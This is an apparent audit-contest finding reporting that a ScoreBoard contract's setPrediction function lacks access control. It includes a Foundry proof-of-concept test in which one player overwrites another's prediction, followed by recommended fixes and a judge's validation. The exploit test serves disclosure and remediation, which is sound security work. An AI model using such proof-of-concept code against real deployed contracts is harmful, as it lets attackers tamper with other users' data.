Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

The function `ScoreBoard.setPrediction` allows any user to change any prediction of any player

Summary

The function ScoreBoard.setPrediction allows any user to change any prediction of any player.

Vulnerability Details

The function ScoreBoard.setPrediction allows any user to change any prediction of any player.

It seems that the problem araises because this function was made to be called by ThePredicter when a player calls ThePredicter.makePrediction, as well as to be called directly by the Players to change an existing prediction. That is why the function accepts a player address a parameter. This address is not checked against the caller, so the parameter can be set to the address of any player and as a result any caller can change any player's prediction.

The following PoC shows how to exploit the vulnerability:

pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract SetPredictionTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
address public stranger = makeAddr("stranger");
uint256 entranceFee = 0.04 ether;
uint256 predictionFee = 0.0001 ether;
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
entranceFee,
predictionFee
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
function test_setPredictionForAnotherPlayer() public {
address stranger2 = makeAddr("stranger2");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
// make predictions
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
vm.stopPrank();
// stranger changes a prediction of stranger2,
// which should not be possible
vm.startPrank(stranger);
scoreBoard.setPrediction(
stranger2,
1,
ScoreBoard.Result.Second
);
vm.stopPrank();
}
}

Impact

  • Any user can change any player's prediction, compromising the integrity of the system.

Tools Used

Foundry

Recommendations

  • Verify the caller address in ScoreBoard.setPrediction. If the address is from ThePredicter allow any player's address to be used as a parameter. If the caller is not ThePredicter the address passed as a parameter should be the same as msg.sender.

  • Alternatively, make a copy of the function that does not accept an address as a parameter, and uses msg.sender instead. And add the modifier onlyThePredicter to the original version of the function.

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

setPrediction lacks access control

setPrediction has no access control and allows manipulation to Players' predictions.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.